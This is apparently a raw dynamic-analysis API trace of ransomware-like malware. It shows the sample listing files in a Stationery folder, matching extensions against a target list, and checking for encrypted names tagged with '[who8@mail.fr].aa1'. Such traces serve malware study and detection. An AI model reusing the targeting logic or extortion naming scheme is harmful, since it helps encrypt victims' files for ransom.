lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0217.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0217.542] lstrlenW (lpString=".1cd") returned 4 [0217.543] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0217.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0217.543] lstrlenW (lpString=".jpg") returned 4 [0217.543] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0217.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0217.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0217.543] lstrlenW (lpString=".doc") returned 4 [0217.543] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0217.543] lstrlenW (lpString=".docx") returned 5 [0217.543] lstrcmpiW (lpString1=".docx", lpString2="s.gif") returned -1 [0217.543] lstrlenW (lpString=".pdf") returned 4 [0217.543] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0217.543] lstrlenW (lpString=".xls") returned 4 [0217.543] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0217.543] lstrlenW (lpString=".xlsx") returned 5 [0217.543] lstrcmpiW (lpString1=".xlsx", lpString2="s.gif") returned -1 [0217.543] lstrlenW (lpString=".ppt") returned 4 [0217.543] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0217.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0217.543] lstrlenW (lpString=".zip") returned 4 [0217.543] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0217.543] lstrlenW (lpString=".rar") returned 4 [0217.543] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0217.543] lstrlenW (lpString=".bz2") returned 4 [0217.543] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0217.543] lstrlenW (lpString=".7z") returned 3 [0217.543] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0217.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0217.543] lstrlenW (lpString=".dbf") returned 4 [0217.544] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0217.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0217.544] lstrlenW (lpString=".1cd") returned 4 [0217.544] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0217.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0217.544] lstrlenW (lpString=".jpg") returned 4 [0217.544] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0217.544] lstrcmpiW (lpString1=".jpg", lpString2=".aa1") returned 1 [0217.544] lstrlenW (lpString="Notebook.jpg") returned 12 [0217.544] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\notebook.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0217.545] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=2950) returned 1 [0217.545] CloseHandle (hObject=0x204) returned 1 [0217.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\notebook.jpg")) returned 0x20 [0217.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\notebook.jpg.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0217.545] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\notebook.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned 70 [0217.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned 70 [0217.545] lstrlenW (lpString=".doc") returned 4 [0217.545] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0217.545] lstrlenW (lpString=".docx") returned 5 [0217.545] lstrcmpiW (lpString1=".docx", lpString2="k.jpg") returned -1 [0217.546] lstrlenW (lpString=".pdf") returned 4 [0217.546] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0217.546] lstrlenW (lpString=".xls") returned 4 [0217.546] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0217.546] lstrlenW (lpString=".xlsx") returned 5 [0217.546] lstrcmpiW (lpString1=".xlsx", lpString2="k.jpg") returned -1 [0217.546] lstrlenW (lpString=".ppt") returned 4 [0217.546] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0217.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned 70 [0217.546] lstrlenW (lpString=".zip") returned 4 [0217.546] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0217.546] lstrlenW (lpString=".rar") returned 4 [0217.546] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0217.546] lstrlenW (lpString=".bz2") returned 4 [0217.546] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0217.546] lstrlenW (lpString=".7z") returned 3 [0217.546] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0217.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned 70 [0217.546] lstrlenW (lpString=".dbf") returned 4 [0217.546] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0217.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned 70 [0217.546] lstrlenW (lpString=".1cd") returned 4 [0217.546] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0217.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned 70 [0217.546] lstrlenW (lpString=".jpg") returned 4 [0217.546] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0217.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned 70 [0217.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned 70 [0217.547] lstrlenW (lpString=".doc") returned 4 [0217.547] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0217.547] lstrlenW (lpString=".docx") returned 5 [0217.547] lstrcmpiW (lpString1=".docx", lpString2="k.jpg") returned -1 [0217.547] lstrlenW (lpString=".pdf") returned 4 [0217.547] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0217.547] lstrlenW (lpString=".xls") returned 4 [0217.547] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0217.547] lstrlenW (lpString=".xlsx") returned 5 [0217.547] lstrcmpiW (lpString1=".xlsx", lpString2="k.jpg") returned -1 [0217.547] lstrlenW (lpString=".ppt") returned 4 [0217.547] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0217.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned 70 [0217.547] lstrlenW (lpString=".zip") returned 4 [0217.547] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0217.547] lstrlenW (lpString=".rar") returned 4 [0217.547] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0217.547] lstrlenW (lpString=".bz2") returned 4 [0217.547] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0217.547] lstrlenW (lpString=".7z") returned 3 [0217.547] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0217.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned 70 [0217.547] lstrlenW (lpString=".dbf") returned 4 [0217.547] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0217.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned 70 [0217.547] lstrlenW (lpString=".1cd") returned 4 [0217.547] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0217.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned 70 [0217.548] lstrlenW (lpString=".jpg") returned 4 [0217.548] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0217.548] lstrcmpiW (lpString1=".htm", lpString2=".aa1") returned 1 [0217.548] lstrlenW (lpString="Orange Circles.htm") returned 18 [0217.548] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0217.548] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=237) returned 1 [0217.548] CloseHandle (hObject=0x204) returned 1 [0217.548] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm")) returned 0x20 [0217.548] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0217.548] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm") returned 76 [0217.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm") returned 76 [0217.549] lstrlenW (lpString=".doc") returned 4 [0217.549] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0217.549] lstrlenW (lpString=".docx") returned 5 [0217.549] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0217.549] lstrlenW (lpString=".pdf") returned 4 [0217.549] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0217.549] lstrlenW (lpString=".xls") returned 4 [0217.549] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0217.549] lstrlenW (lpString=".xlsx") returned 5 [0217.549] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0217.549] lstrlenW (lpString=".ppt") returned 4 [0217.549] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0217.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm") returned 76 [0217.549] lstrlenW (lpString=".zip") returned 4 [0217.549] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0217.549] lstrlenW (lpString=".rar") returned 4 [0217.549] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0217.549] lstrlenW (lpString=".bz2") returned 4 [0217.549] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0217.549] lstrlenW (lpString=".7z") returned 3 [0217.549] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0217.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm") returned 76 [0217.549] lstrlenW (lpString=".dbf") returned 4 [0217.549] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0217.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm") returned 76 [0217.549] lstrlenW (lpString=".1cd") returned 4 [0217.549] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0217.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm") returned 76 [0217.550] lstrlenW (lpString=".jpg") returned 4 [0217.550] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0217.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm") returned 76 [0217.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm") returned 76 [0217.550] lstrlenW (lpString=".doc") returned 4 [0217.550] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0217.550] lstrlenW (lpString=".docx") returned 5 [0217.550] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0217.550] lstrlenW (lpString=".pdf") returned 4 [0217.550] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0217.550] lstrlenW (lpString=".xls") returned 4 [0217.550] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0217.550] lstrlenW (lpString=".xlsx") returned 5 [0217.550] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0217.550] lstrlenW (lpString=".ppt") returned 4 [0217.550] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0217.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm") returned 76 [0217.550] lstrlenW (lpString=".zip") returned 4 [0217.550] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0217.550] lstrlenW (lpString=".rar") returned 4 [0217.550] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0217.550] lstrlenW (lpString=".bz2") returned 4 [0217.550] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0217.550] lstrlenW (lpString=".7z") returned 3 [0217.550] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0217.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm") returned 76 [0217.550] lstrlenW (lpString=".dbf") returned 4 [0217.551] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0217.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm") returned 76 [0217.551] lstrlenW (lpString=".1cd") returned 4 [0217.551] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0217.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm") returned 76 [0217.551] lstrlenW (lpString=".jpg") returned 4 [0217.551] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0217.551] lstrcmpiW (lpString1=".jpg", lpString2=".aa1") returned 1 [0217.551] lstrlenW (lpString="OrangeCircles.jpg") returned 17 [0217.551] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0217.551] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=6381) returned 1 [0217.551] CloseHandle (hObject=0x204) returned 1 [0217.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg")) returned 0x20 [0217.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0217.552] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg") returned 75 [0217.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg") returned 75 [0217.552] lstrlenW (lpString=".doc") returned 4 [0217.552] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0217.552] lstrlenW (lpString=".docx") returned 5 [0217.552] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0217.552] lstrlenW (lpString=".pdf") returned 4 [0217.552] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0217.552] lstrlenW (lpString=".xls") returned 4 [0217.552] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0217.552] lstrlenW (lpString=".xlsx") returned 5 [0217.552] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0217.552] lstrlenW (lpString=".ppt") returned 4 [0217.552] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0217.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg") returned 75 [0217.552] lstrlenW (lpString=".zip") returned 4 [0217.552] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0217.552] lstrlenW (lpString=".rar") returned 4 [0217.552] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0217.552] lstrlenW (lpString=".bz2") returned 4 [0217.552] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0217.552] lstrlenW (lpString=".7z") returned 3 [0217.552] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0217.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg") returned 75 [0217.552] lstrlenW (lpString=".dbf") returned 4 [0217.553] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0217.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg") returned 75 [0217.553] lstrlenW (lpString=".1cd") returned 4 [0217.553] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0217.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg") returned 75 [0217.553] lstrlenW (lpString=".jpg") returned 4 [0217.553] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0217.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg") returned 75 [0217.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg") returned 75 [0217.553] lstrlenW (lpString=".doc") returned 4 [0217.553] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0217.553] lstrlenW (lpString=".docx") returned 5 [0217.553] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0217.553] lstrlenW (lpString=".pdf") returned 4 [0217.553] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0217.553] lstrlenW (lpString=".xls") returned 4 [0217.553] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0217.553] lstrlenW (lpString=".xlsx") returned 5 [0217.553] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0217.553] lstrlenW (lpString=".ppt") returned 4 [0217.553] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0217.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg") returned 75 [0217.553] lstrlenW (lpString=".zip") returned 4 [0217.553] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0217.553] lstrlenW (lpString=".rar") returned 4 [0217.553] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0217.553] lstrlenW (lpString=".bz2") returned 4 [0217.553] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0217.554] lstrlenW (lpString=".7z") returned 3 [0217.554] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0217.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg") returned 75 [0217.554] lstrlenW (lpString=".dbf") returned 4 [0217.554] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0217.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg") returned 75 [0217.554] lstrlenW (lpString=".1cd") returned 4 [0217.554] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0217.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg") returned 75 [0217.554] lstrlenW (lpString=".jpg") returned 4 [0217.554] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0217.554] lstrcmpiW (lpString1=".htm", lpString2=".aa1") returned 1 [0217.554] lstrlenW (lpString="Peacock.htm") returned 11 [0217.554] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0217.555] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=232) returned 1 [0217.555] CloseHandle (hObject=0x204) returned 1 [0217.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm")) returned 0x20 [0217.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0217.555] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.555] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned 69 [0217.555] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned 69 [0217.555] lstrlenW (lpString=".doc") returned 4 [0217.555] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0217.556] lstrlenW (lpString=".docx") returned 5 [0217.556] lstrcmpiW (lpString1=".docx", lpString2="k.htm") returned -1 [0217.556] lstrlenW (lpString=".pdf") returned 4 [0217.556] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0217.556] lstrlenW (lpString=".xls") returned 4 [0217.556] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0217.556] lstrlenW (lpString=".xlsx") returned 5 [0217.556] lstrcmpiW (lpString1=".xlsx", lpString2="k.htm") returned -1 [0217.556] lstrlenW (lpString=".ppt") returned 4 [0217.557] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0217.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned 69 [0217.558] lstrlenW (lpString=".zip") returned 4 [0217.558] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0217.558] lstrlenW (lpString=".rar") returned 4 [0217.558] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0217.558] lstrlenW (lpString=".bz2") returned 4 [0217.558] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0217.558] lstrlenW (lpString=".7z") returned 3 [0217.558] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0217.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned 69 [0217.558] lstrlenW (lpString=".dbf") returned 4 [0217.558] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0217.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned 69 [0217.558] lstrlenW (lpString=".1cd") returned 4 [0217.558] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0217.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned 69 [0217.558] lstrlenW (lpString=".jpg") returned 4 [0217.558] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0217.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned 69 [0217.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned 69 [0217.558] lstrlenW (lpString=".doc") returned 4 [0217.558] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0217.558] lstrlenW (lpString=".docx") returned 5 [0217.558] lstrcmpiW (lpString1=".docx", lpString2="k.htm") returned -1 [0217.558] lstrlenW (lpString=".pdf") returned 4 [0217.558] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0217.558] lstrlenW (lpString=".xls") returned 4 [0217.559] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0217.559] lstrlenW (lpString=".xlsx") returned 5 [0217.559] lstrcmpiW (lpString1=".xlsx", lpString2="k.htm") returned -1 [0217.559] lstrlenW (lpString=".ppt") returned 4 [0217.559] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0217.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned 69 [0217.559] lstrlenW (lpString=".zip") returned 4 [0217.559] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0217.559] lstrlenW (lpString=".rar") returned 4 [0217.559] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0217.559] lstrlenW (lpString=".bz2") returned 4 [0217.559] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0217.559] lstrlenW (lpString=".7z") returned 3 [0217.559] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0217.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned 69 [0217.559] lstrlenW (lpString=".dbf") returned 4 [0217.559] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0217.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned 69 [0217.559] lstrlenW (lpString=".1cd") returned 4 [0217.559] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0217.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned 69 [0217.559] lstrlenW (lpString=".jpg") returned 4 [0217.559] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0217.559] lstrcmpiW (lpString1=".jpg", lpString2=".aa1") returned 1 [0217.559] lstrlenW (lpString="Peacock.jpg") returned 11 [0217.559] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0217.560] 